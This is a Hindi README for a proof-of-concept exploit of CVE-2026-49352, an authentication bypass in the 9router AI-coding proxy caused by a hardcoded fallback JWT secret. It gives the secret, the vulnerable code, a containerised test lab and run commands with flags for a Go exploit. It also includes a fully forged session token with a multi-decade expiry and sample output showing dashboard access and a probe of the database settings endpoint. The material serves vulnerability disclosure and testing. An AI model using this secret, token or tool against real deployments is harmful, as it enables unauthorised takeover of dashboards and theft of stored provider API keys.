
CVE-2026-49352 के लिए शोषणीयता PoC (9router हार्डकोडेड JWT सीक्रेट प्रमाणीकरण बाईपास)
CVE-2026-49352, 9router में एक कमजोरी है, जो AI कोडिंग टूल्स के लिए एक सेल्फ-होस्टेड Node.js/Next.js प्रॉक्सी है। डैशबोर्ड सत्र JWT पर एक गुप्त कुंजी (secret) से हस्ताक्षर किया जाता है जो JWT_SECRET एनवायरनमेंट वेरिएबल से ली जाती है, लेकिन यदि वह वेरिएबल सेट नहीं है, तो लॉगिन हैंडलर और अनुरोध गार्ड दोनों उसी हार्डकोडेड लिटरल पर वापस आ जाते हैं:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
क्योंकि यह स्ट्रिंग सार्वजनिक रिपॉजिटरी में प्रतिबद्ध है, यह बिल्कुल भी गुप्त नहीं है। कोई भी हमलावर इसके साथ एक टोकन पर हस्ताक्षर कर सकता है और प्रमाणित डैशबोर्ड उपयोगकर्ता के रूप में व्यवहार किया जा सकता है।
| प्रभावित सीमा | स्थिर संस्करण में |
|---|---|
| 0.2.21 – 0.4.41 | 0.4.45 |
फ़ॉलबैक सीक्रेट दो स्वतंत्र फ़ाइलों में समान रूप से परिभाषित किया गया है।
src/app/api/auth/login/route.js — लॉगिन पर सत्र टोकन जारी करता है:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("24h")
.sign(SECRET);
src/dashboardGuard.js — प्रत्येक संरक्षित अनुरोध पर टोकन सत्यापित करता है:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
async function hasValidToken(request) {
const token = request.cookies.get("auth_token")?.value;
if (!token) return false;
try {
await jwtVerify(token, SECRET);
return true;
} catch {
return false;
}
}
hasValidToken() का सफल होना /dashboard और ALWAYS_PROTECTED में सूचीबद्ध एंडपॉइंट्स (जिसमें /api/settings/database शामिल है) तक पहुँच प्रदान करने से पहले जाँची जाने वाली एकमात्र शर्त है। सत्र रिकॉर्ड की कोई खोज नहीं होती है और टोकन कहाँ से आया इसकी कोई मान्यता नहीं होती है — एक मान्य हस्ताक्षर को पहचान के प्रमाण के रूप में माना जाता है।
बाईपास की पुष्टि की गई है और यह प्रभावित कोडबेस के एक बिल्ड के विरुद्ध प्रतिलिपि प्रस्तुत करने योग्य है। JWT_SECRET को सेट न करने पर:
[1] फ़ॉलबैक सीक्रेट के साथ डैशबोर्ड सत्र JWT जाली बनाना...
[+] जाली auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[2] जाली auth_token कुकी के साथ /dashboard का अनुरोध करना...
[+] 200 OK — प्रमाणीकरण बाईपास की पुष्टि हुई
[3] उजागर क्रेडेंशियल्स के लिए /api/settings/database की जाँच...
[+] /api/settings/database ने 200 लौटाया
कमजोरी केवल तब ट्रिगर होती है जब JWT_SECRET ऑपरेटर द्वारा कभी सेट नहीं किया गया था — यह अधिकांश क्विक-स्टार्ट / डॉकर-रन डिप्लॉयमेंट के लिए डिफ़ॉल्ट है जो एनवायरनमेंट कॉन्फ़िगरेशन चरण को छोड़ देते हैं। जो डिप्लॉयमेंट स्पष्ट रूप से JWT_SECRET को एक यादृच्छिक मान पर सेट करते हैं, वे प्रभावित नहीं होते हैं, क्योंकि SECRET मॉड्यूल लोड होने पर एक बार व्युत्पन्न होता है और कभी फ़ॉलबैक नहीं करता है।
cve-2026-49352-poc/
├── dockerfile # 9router स्रोत से निर्मित, v0.4.30 पर पिन किया गया (प्रभावित)
├── podman-compose.yml # build + run, JWT_SECRET जानबूझकर छोड़ा गया
└── exploit/
├── go.mod # github.com/golang-jwt/jwt/v5 आवश्यक
└── exploit.go # PoC — Go
| उपकरण | संस्करण | नोट्स |
|---|---|---|
| Podman | ≥ 4.0 | podman-compose आवश्यक |
| Go | ≥ 1.22 | एक्सप्लॉइट को स्थानीय रूप से चलाने के लिए |
बाहरी Go निर्भरता: github.com/golang-jwt/jwt/v5।
podman-compose build
podman-compose up -d
एप्लिकेशन के तैयार होने की रिपोर्ट करने तक प्रतीक्षा करें, फिर सत्यापित करें:
curl -si http://localhost:20128/dashboard | head -1
# अपेक्षित: HTTP/1.1 307 (/login पर रीडायरेक्ट, अभी तक कोई सत्र नहीं)
cd exploit
go run exploit.go -target http://localhost:20128
-probe जोड़कर जाली कुकी के साथ /api/settings/database का भी अनुरोध करें:
go run exploit.go -target http://localhost:20128 -probe
उपलब्ध फ़्लैग्स:
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|---|---|
-target | http://localhost:20128 | 9router इंस्टेंस का बेस URL |
-secret | 9router-default-secret-change-me | जाली बनाने के लिए JWT फ़ॉलबैक सीक्रेट |
-ttl | 36 * 365 * 24h | जाली टोकन की वैधता अवधि |
-probe | false | /api/settings/database का भी अनुरोध करें |
podman-compose down -v
[1] फ़ॉलबैक सीक्रेट के साथ डैशबोर्ड सत्र JWT जाली बनाना...
[+] जाली auth_token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] जाली auth_token कुकी के साथ /dashboard का अनुरोध करना...
[+] 200 OK — http://localhost:20128 के विरुद्ध प्रमाणीकरण बाईपास की पुष्टि हुई
[3] उजागर क्रेडेंशियल्स के लिए /api/settings/database की जाँच (सलाह हमले परिदृश्य के अनुसार)...
[+] /api/settings/database ने 200 लौटाया
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
| संसाधन | लिंक |
|---|---|
| सलाह | GHSA-jphh-m39h-6gwx |
| कमजोर रिपॉजिटरी | decolua/9router |
| पूर्ण विश्लेषण — ब्लॉग पोस्ट | return-zero.dev/posts/cve-2026-49352 |
यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों और स्थानीय शोषण विश्लेषण के लिए है। सभी परीक्षण एक सेल्फ-होस्टेड कंटेनर वातावरण के विरुद्ध किए गए। इस PoC को उन प्रणालियों पर न चलाएं जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है।